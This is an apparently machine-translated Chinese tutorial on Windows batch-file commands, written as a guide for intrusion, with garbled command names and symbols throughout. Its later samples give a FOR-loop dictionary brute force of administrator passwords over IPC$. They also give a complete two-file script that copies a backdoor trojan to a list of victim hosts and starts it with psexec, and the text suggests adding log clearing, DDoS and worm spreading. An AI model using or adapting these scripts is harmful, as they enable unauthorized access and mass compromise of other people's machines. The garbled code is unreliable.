打開或關閉回聲,或顯示信息。如果沒有參數,echo命令將顯示當前的echo設置。
語法
echo[{ on | off }][消息]
回聲關閉/回聲hello world示例
在實際應用中,我們將把這個命令和重定向符號(也稱為管道符號,壹般用>;& gt& gt)來實現將壹些命令輸入到特定格式的文件中,這個會在以後的例子中體現。
2.@命令
這意味著@後面的命令將不會顯示。在入侵過程中(比如用批處理格式化敵方硬盤),自然不能讓對方看到妳使用的命令。
示例:@回聲關閉
@echo正在初始化程序,請稍等...
@ formatexx:/q/u/autoset (Format不允許使用參數/y,好在微軟給我們留了壹個autoset參數,效果和/y壹樣..)
3.Goto命令
指定跳轉到標簽。找到標簽後,程序將從下壹行開始處理命令。
語法:goto label (label是壹個參數,它指定批處理程序中要轉到的行。)
樣本:
if {%1}=={}轉到noparms
If {%2} = {} gotonoparms(如果妳不明白這裏的If,%1,%2,先跳過,後面會有詳細解釋。)
@Rem檢查參數,如果為空則顯示用法
:noparms
echo用法:monitor.bat ServerIP端口號
轉到結尾
標簽的名字可以隨意選擇,但最好是有意義的字母。在字母前加壹個:表示字母是標簽,goto命令就是基於這個:找到下壹步並跳轉到那裏。妳最好有壹些解釋,這樣別人會明白妳的意圖。
4.Rem命令
comment命令相當於C語言中的/*-*/。不會被執行,只是起到壹個註釋的作用,方便以後別人閱讀和修改。
遠程消息
樣本:@Rem這裏是描述。
5.暫停命令
運行暫停命令時,將顯示以下消息:
按任意鍵繼續。。。
樣本:
@關閉回聲
:開始
副本a:*。* d:\返回
echo請將新磁盤放入驅動程序A
中止
轉到開始
在本例中,驅動器A中磁盤上的所有文件都被復制到d:\back。顯示的提示提示您將另壹張磁盤放入驅動器a。暫停命令將暫停程序,以便您可以更換磁盤並按任意鍵繼續處理。
6.呼叫命令
從壹個批處理程序調用另壹個批處理程序,而不終止父批處理程序。call命令接受用作調用目標的標簽。如果在腳本或批處理文件之外使用Call,它將不會在命令行上工作。
語法
調用[[驅動器:] [路徑]文件名[批處理參數]] [:標簽[參數]]
參數
[驅動器:}[路徑]文件名
指定要調用的批處理程序的位置和名稱。filename參數必須有壹個. bat或。cmd擴展。
7 .啟動命令
調用外部程序,所有的DOS命令和命令行程序都可以通過start命令調用。
常見入侵參數:
最小化MIN開頭的窗口
在單獨的空間啟動16位Windows程序。
高啟動高優先級類別的應用程序。
實時啟動實時優先級類別中的應用程序。
WAIT啟動應用程序並等待它結束。
參數這些是傳遞給命令/程序的參數。
當執行的應用程序是32位GUI應用程序時,CMD.EXE會返回命令提示符,而不等待應用程序終止。如果在命令腳本中執行,這種新行為將不會發生。
8 .選擇命令
選擇使用此命令讓用戶輸入壹個字符來運行不同的命令。使用的時候要加上/c:參數,在c:後面要寫可以輸入的字符,中間不要有空格。它的返回代碼是1234...
如:choice /c:dme defrag,mem,end
將被顯示
defrag,mem,end[D,M,E]?
樣本:
Sample.bat的內容如下:
@關閉回聲
choice /c:dme碎片整理,mem,end
如果錯誤級別3轉到碎片整理(應首先判斷值最高的錯誤代碼)
如果錯誤級別2,轉到記憶
如果錯誤級別為1,則轉到結尾
:碎片整理
c:\dos\defrag
轉到結尾
:記憶
記憶
轉到結尾
:結束
回聲再見
這個文件運行後會顯示defrag,mem,end[D,M,E]?用戶可以選擇d m e,然後if語句會做出判斷。d表示執行標記為defrag的程序段,M表示執行標記為mem的程序段,E表示執行標記為end的程序段。每個程序段最後都會跳轉到帶有goto end的結束標簽,然後程序會顯示good bye,文件結束。
9.If命令
If是指它會判斷指定的條件是否滿足,然後決定執行不同的命令。有三種格式:
1,如果"參數" = = "字符串"命令被執行
如果參數等於指定的字符串,則條件成立。運行命令,否則運行下壹句。(註意是兩個等號)
例如,如果“% 1”= =“a”格式a:
if {%1}=={}轉到noparms
if {%2}=={}轉到noparms
2.如果存在文件名是要執行的命令。
如果有指定的文件,條件成立,運行命令,否則運行下壹句。
如if exist config . sys edit config . sys。
3,if errorlevel/if not errorlevel要執行的數字命令。
如果返回代碼等於指定的數字,則條件成立,命令運行;否則下壹句就是跑。
例如如果錯誤級別2轉到x2。
當壹個DOS程序運行時,它會返回壹個數字給DOS,這個數字叫做錯誤碼errorlevel或返回碼。常見的返回代碼是0,1。
10 .用於命令
for命令是壹個復雜命令,主要用於在指定範圍內循環執行命令。
在批處理文件中使用FOR命令時,請使用%%variable來指定變量。
for { % variable | % % variable } in(set)do命令[ CommandLineOptions]
%variable指定壹個單字母可替換參數。
(set)指定壹個或壹組文件。可以使用通配符。
Command指定對每個文件執行的命令。
Command-parameters為特定命令指定參數或命令行開關。
在批處理文件中使用FOR命令時,請使用%%variable來指定變量。
而不是%變量。變量名區分大小寫,所以%i不同於% i。
如果啟用了命令擴展,以下附加的FOR命令格式會受到影響
支持:
FOR/D %變量IN (set) DO命令[命令-參數]
如果集合包含通配符,則指定它匹配目錄名,而不是文件。
名字匹配。
FOR/R[[drive:]path]% variable IN(set)DO command[command-
檢查以[drive:]path為根的目錄樹,並指向每個目錄中的。
對於語句,如果在/R後沒有指定目錄,則使用當前目錄。
目錄。如果集合只是壹個點(。)字符,枚舉目錄樹。
FOR/L %變量IN (start,step,end) DO命令[command-para
這個集合表示從開始到結束遞增的壹系列數字。
因此,(1,1,5)將產生序列1 2 3 4 5,(5,1,1)將產生。
順序(5 4 3 2 1)。
(file-set) DO命令中的FOR/F[" options "]%變量
FOR/F[" options "]%變量IN ("string") DO命令
FOR/F[" options "]%變量在(command) DO命令中
或者,如果您有usebackq選項:
(file-set) DO命令中的FOR/F[" options "]%變量
FOR/F[" options "]%變量IN ("string") DO命令
FOR/F[" options "]%變量在(command) DO命令中
Filenameset是壹個或多個文件名。在文件名集中繼續。
每個文件在下壹個文件之前已經被打開、讀取和處理。
處理包括讀取壹個文件,將它分成文本行,然後將每行分成
解析零個或多個符號。然後使用找到的符號串的變量值
調用For循環。默認情況下,/F由每個文件中的每壹行分隔。
的第壹個空白符號。跳過空行。您可以指定可選的“選項”
參數重寫默認的解析操作。這個引用的字符串包括壹個或多個
為不同的解析選項指定關鍵字。這些關鍵字是:
eol = c-表示行註釋字符的結束(只有壹個)
skip = n-表示在文件開頭忽略的行數。
delims = XXX-表示分隔符集。這個代替了空格和制表符。
默認分隔符集。
Tokens=x,y,m-n-指的是每壹行的哪個符號傳遞給每次叠代。
為了自己。這將導致額外的變量名。
格式是壹個範圍。用第n個符號指定m。
符號串中的最後壹個字符星號,
那麽額外的變量將在最後壹個符號處被解析。
分配並接受該行的保留文本。
usebackq-指定新語法已用於以下情況:
在將帶引號的字符串作為命令執行後
引號字符是文字字符串命令,在fi中是允許的
用雙引號將文件名括起來。
樣品1:
FOR/F " eol =;tokens=2,3* delims=," %i in (myfile.txt) do命令
將分析myfile.txt中的每壹行,忽略那些以分號開頭的行,並將
每行中的第二個和第三個符號被傳遞給for程序體;使用逗號和/或
空格分隔符。請註意,這個for程序體中的語句引用了% i。
獲取第二個符號,引用%j來獲取第三個符號,引用% k。
獲取第三個符號之後的所有剩余符號。對於帶空格的文件
名稱,需要用雙引號將文件名括起來。為了以這種方式制造
對於雙引號,您還需要使用usebackq選項,否則雙引號將
應當理解,它用於定義待分析的字符串。
在for語句中特別聲明了%i,而%j和%k是由。
Tokens=選項是特別指定的。可以傳代幣=壹行。
指定最多26個符號,只要不試圖描述比字母z或更高的符號
z的變量,記住FOR變量是單字母,區分大小寫,全局的;
同時,使用中的不能超過52個。
還可以對相鄰字符串使用FOR /F解析邏輯;該方法是,
用單引號將文件名集括在括號中。這樣,人物
字符串被視為文件中的單個輸入行。
最後,您可以使用FOR /F命令來分析該命令的輸出。方法是把
括號之間的文件名集成為壹個封閉字符串。該線將
作為命令行,它被傳遞給子CMD.EXE,其輸出將被捕獲。
內存中,並作為壹個文件進行分析。因此,下面舉個例子:
FOR/F " usebackq delims = = " % I IN(` set `)DO @ echo % I
枚舉當前環境中的環境變量的名稱。
此外,還增強了對變量引用的替換。您現在可以使用以下內容
選項語法:
~ I-刪除任何引號(")並展開% i。
% ~ fI-將%I擴展為完全限定的路徑名
%~dI-only %I擴展為壹個驅動器號。
% ~ pI-僅%I擴展到壹個路徑。
%~nI-only %I被擴展為文件名。
% ~僅限% I將被擴展為壹個文件擴展名。
% ~ sI-擴展路徑只包含短名稱。
% ~ aI-將%I擴展到文件的file屬性
% ~ tI-將%I擴展到文件的日期/時間
% ~ zI-將%I擴展到文件大小
% ~ $ PATH:I-找到PATH環境變量中列出的目錄並展開% i。
到找到的第壹個完全限定名。如果環境變量
未定義或未找到文件,此組合鍵將被擴展。
空行
修改器可以組合起來獲得多種結果:
% ~僅dpI % I擴展為壹個驅動器號和路徑。
%~nxI-only %I被擴展為文件名和擴展名。
% ~ fsI-僅將%I擴展為帶有短名稱的完整路徑名。
% ~ DP $ PATH:I-找到PATH環境變量中列出的目錄並展開% i。
轉到找到的第壹個驅動器號和路徑。
% ~ ftzaI-將%I擴展到類似輸出行的DIR
在上面的例子中,%I和PATH可以替換為其他有效值。% ~語法
以有效的FOR變量名結束。選擇壹個類似於% i的大寫變量名。
它更容易閱讀,並避免與不區分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面舉幾個例子來說明For命令在入侵中的使用。
樣本2:
For命令用於破解目標Win2k主機的暴力密碼。
我們使用net use \ \ IP \ IPC $ " password "/u:" administrator "嘗試連接目標主機,成功後記下密碼。
最重要的命令是壹個:for/f I % in(dict . txt)do net use \ \ IP \ IPC $ " I % "/u:" administrator "。
I%用於表示admin的密碼。在dict.txt中,i%的這個值是與net use命令連接的。然後將程序運行結果傳遞給find命令-
for/f I % % in(dict . txt)do net use \ \ IP \ IPC $ " I % % "/u:" administrator " | find ":命令成功完成" > & gtD:\ok.txt,就是ko。
樣本3:
有沒有壹大批肉雞等著妳去種後門+特洛伊馬?當數量特別大的時候,原本很開心的壹切都會變得很壓抑。文章開頭提到,使用批處理文件可以簡化日常或重復性的任務。那麽如何實現呢?呵呵,看完妳就明白了。
主命令只有壹個:(在批處理文件中使用FOR命令時,指定變量使用%%variable)。
@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call door . bat % % I % % j % % k
令牌的用法請參考上面的sample1,這裏指的是將victim.txt中的內容按順序傳遞給door.bat中的參數%i %j %k。
Cultivate.bat無非是用net use命令建立IPC$連接,並把特洛伊+後門復制到受害者,然後用return copy (If errorlever =)篩選成功植入後門的主機,並回顯出來,或者回顯到指定文件。
Delims=表示vivtim.txt中的內容用空格隔開。我想妳看到這裏壹定明白這個victim.txt裏面的內容是什麽樣子了。應該是按照%%i %%j %%k代表的對象來排列的,壹般是ip密碼用戶名。
代碼原型:
-在這裏剪切,然後保存為批處理文件(我稱之為main.bat ) -
@關閉回聲
@if "%1"== " "轉到用法
@for /f "tokens=1,2,3 delims = " % % I in(victim . txt)do start call IPC hack . bat % % I % % j % % k
@轉到結尾
:用法
@echo在dos模式下運行該批處理。或者雙擊它。
:結束
-在這裏剪切,然後保存為批處理文件(我稱之為main.bat ) -
-在這裏剪切,然後保存為批處理文件(我稱之為door.bat)
@net use \\%1\ipc$ %3 /u:"%2 "
@if errorlevel 1 goto失敗
@echo正在嘗試建立IPC連接………好的
@ copy wind RV 32 . exe \ \ % 1 \ admin $ \ system32 & amp;& amp如果不是錯誤級別1回顯IP %1用戶% 2 PWD % 3 & gt;& gtko.txt
@ p * * * EC \ \ % 1 c:\ win nt \ system32 \ win drv 32 . exe
@ p * * * EC \ \ % 1 net start windrv 32 & amp;& amp如果不是errorlevel 1 echo %1後門& gt& gtko.txt
:失敗
@echo抱歉無法連接到受害者。
-在這裏剪切,然後保存為批處理文件(我稱之為door.bat)
這只是壹個自動後門批次的雛形。兩個批處理和後門程序(Windrv32.exe),psexec。Exe需要放在壹個統壹的目錄中。批量內容。
可以擴展,比如增加清除日誌+DDOS的功能,增加定期添加用戶的功能,深入的話讓它有自動傳播(蠕蟲)的功能。